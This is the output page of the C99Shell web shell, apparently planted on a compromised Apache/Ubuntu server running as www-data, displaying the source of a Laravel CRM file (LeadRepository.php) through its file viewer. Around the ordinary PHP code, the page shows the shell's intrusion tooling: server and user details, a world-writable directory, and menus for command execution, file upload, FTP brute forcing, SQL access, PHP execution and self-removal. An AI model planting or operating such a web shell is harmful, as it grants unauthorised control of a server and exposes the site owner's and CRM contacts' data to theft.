!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Lead/src/Repositories/   drwxrwxrwx
Free 13.11 GB of 57.97 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LeadRepository.php (8.29 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Lead\Repositories;

use 
Carbon\Carbon;
use 
Illuminate\Container\Container;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Str;
use 
Webkul\Attribute\Repositories\AttributeRepository;
use 
Webkul\Attribute\Repositories\AttributeValueRepository;
use 
Webkul\Contact\Repositories\PersonRepository;
use 
Webkul\Core\Eloquent\Repository;
use 
Webkul\Lead\Contracts\Lead;

class 
LeadRepository extends Repository
{
    
/**
     * Searchable fields.
     */
    
protected $fieldSearchable = [
        
'title',
        
'lead_value',
        
'status',
        
'user_id',
        
'user.name',
        
'person_id',
        
'person.name',
        
'lead_source_id',
        
'lead_type_id',
        
'lead_pipeline_id',
        
'lead_pipeline_stage_id',
        
'created_at',
        
'closed_at',
        
'expected_close_date',
    ];

    
/**
     * Create a new repository instance.
     *
     * @return void
     */
    
public function __construct(
        protected 
StageRepository $stageRepository,
        protected 
PersonRepository $personRepository,
        protected 
ProductRepository $productRepository,
        protected 
AttributeRepository $attributeRepository,
        protected 
AttributeValueRepository $attributeValueRepository,
        
Container $container
    
) {
        
parent::__construct($container);
    }

    
/**
     * Specify model class name.
     *
     * @return mixed
     */
    
public function model()
    {
        return 
Lead::class;
    }

    
/**
     * Get leads query.
     *
     * @param  int  $pipelineId
     * @param  int  $pipelineStageId
     * @param  string  $term
     * @param  string  $createdAtRange
     * @return mixed
     */
    
public function getLeadsQuery($pipelineId$pipelineStageId$term$createdAtRange)
    {
        return 
$this->with([
            
'attribute_values',
            
'pipeline',
            
'stage',
        ])->
scopeQuery(function ($query) use ($pipelineId$pipelineStageId$term$createdAtRange) {
            return 
$query->select(
                
'leads.id as id',
                
'leads.created_at as created_at',
                
'title',
                
'lead_value',
                
'persons.name as person_name',
                
'leads.person_id as person_id',
                
'lead_pipelines.id as lead_pipeline_id',
                
'lead_pipeline_stages.name as status',
                
'lead_pipeline_stages.id as lead_pipeline_stage_id'
            
)
                ->
addSelect(DB::raw('DATEDIFF('.DB::getTablePrefix().'leads.created_at + INTERVAL lead_pipelines.rotten_days DAY, now()) as rotten_days'))
                ->
leftJoin('persons''leads.person_id''=''persons.id')
                ->
leftJoin('lead_pipelines''leads.lead_pipeline_id''=''lead_pipelines.id')
                ->
leftJoin('lead_pipeline_stages''leads.lead_pipeline_stage_id''=''lead_pipeline_stages.id')
                ->
where('title''like'"%$term%")
                ->
where('leads.lead_pipeline_id'$pipelineId)
                ->
where('leads.lead_pipeline_stage_id'$pipelineStageId)
                ->
when($createdAtRange, function ($query) use ($createdAtRange) {
                    return 
$query->whereBetween('leads.created_at'$createdAtRange);
                })
                ->
where(function ($query) {
                    if (
$userIds bouncer()->getAuthorizedUserIds()) {
                        
$query->whereIn('leads.user_id'$userIds);
                    }
                });
        });
    }

    
/**
     * Create.
     *
     * @return \Webkul\Lead\Contracts\Lead
     */
    
public function create(array $data)
    {
        
/**
         * If a person is provided, create or update the person and set the `person_id`.
         */
        
if (isset($data['person'])) {
            if (! empty(
$data['person']['id'])) {
                
$person $this->personRepository->findOrFail($data['person']['id']);
            } else {
                
$person $this->personRepository->create(array_merge($data['person'], [
                    
'entity_type' => 'persons',
                ]));
            }

            
$data['person_id'] = $person->id;
        }

        if (empty(
$data['expected_close_date'])) {
            
$data['expected_close_date'] = null;
        }

        
$lead parent::create(array_merge([
            
'lead_pipeline_id'       => 1,
            
'lead_pipeline_stage_id' => 1,
        ], 
$data));

        
$this->attributeValueRepository->save(array_merge($data, [
            
'entity_id' => $lead->id,
        ]));

        if (isset(
$data['products'])) {
            foreach (
$data['products'] as $product) {
                
$this->productRepository->create(array_merge($product, [
                    
'lead_id' => $lead->id,
                    
'amount'  => $product['price'] * $product['quantity'],
                ]));
            }
        }

        return 
$lead;
    }

    
/**
     * Update.
     *
     * @param  int  $id
     * @param  array|\Illuminate\Database\Eloquent\Collection  $attributes
     * @return \Webkul\Lead\Contracts\Lead
     */
    
public function update(array $data$id$attributes = [])
    {
        
/**
         * If a person is provided, create or update the person and set the `person_id`.
         * Be cautious, as a lead can be updated without providing person data.
         * For example, in the lead Kanban section, when switching stages, only the stage will be updated.
         */
        
if (isset($data['person'])) {
            if (! empty(
$data['person']['id'])) {
                
$person $this->personRepository->findOrFail($data['person']['id']);
            } else {
                
$person $this->personRepository->create(array_merge($data['person'], [
                    
'entity_type' => 'persons',
                ]));
            }

            
$data['person_id'] = $person->id;
        }

        if (isset(
$data['lead_pipeline_stage_id'])) {
            
$stage $this->stageRepository->find($data['lead_pipeline_stage_id']);

            if (
in_array($stage->code, ['won''lost'])) {
                
$data['closed_at'] = $data['closed_at'] ?? Carbon::now();
            } else {
                
$data['closed_at'] = null;
            }
        }

        if (empty(
$data['expected_close_date'])) {
            
$data['expected_close_date'] = null;
        }

        
$lead parent::update($data$id);

        
/**
         * If attributes are provided, only save the provided attributes and return.
         * A collection of attributes may also be provided, which will be treated as valid,
         * regardless of whether it is empty or not.
         */
        
if (! empty($attributes)) {
            
/**
             * If attributes are provided as an array, then fetch the attributes from the database;
             * otherwise, use the provided collection of attributes.
             */
            
if (is_array($attributes)) {
                
$conditions = ['entity_type' => $data['entity_type']];

                if (isset(
$data['quick_add'])) {
                    
$conditions['quick_add'] = 1;
                }

                
$attributes $this->attributeRepository->where($conditions)
                    ->
whereIn('code'$attributes)
                    ->
get();
            }

            
$this->attributeValueRepository->save(array_merge($data, [
                
'entity_id' => $lead->id,
            ]), 
$attributes);

            return 
$lead;
        }

        
$this->attributeValueRepository->save(array_merge($data, [
            
'entity_id' => $lead->id,
        ]));

        
$previousProductIds $lead->products()->pluck('id');

        if (isset(
$data['products'])) {
            foreach (
$data['products'] as $productId => $productInputs) {
                if (
Str::contains($productId'product_')) {
                    
$this->productRepository->create(array_merge([
                        
'lead_id' => $lead->id,
                    ], 
$productInputs));
                } else {
                    if (
is_numeric($index $previousProductIds->search($productId))) {
                        
$previousProductIds->forget($index);
                    }

                    
$this->productRepository->update($productInputs$productId);
                }
            }
        }

        foreach (
$previousProductIds as $productId) {
            
$this->productRepository->delete($productId);
        }

        return 
$lead;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--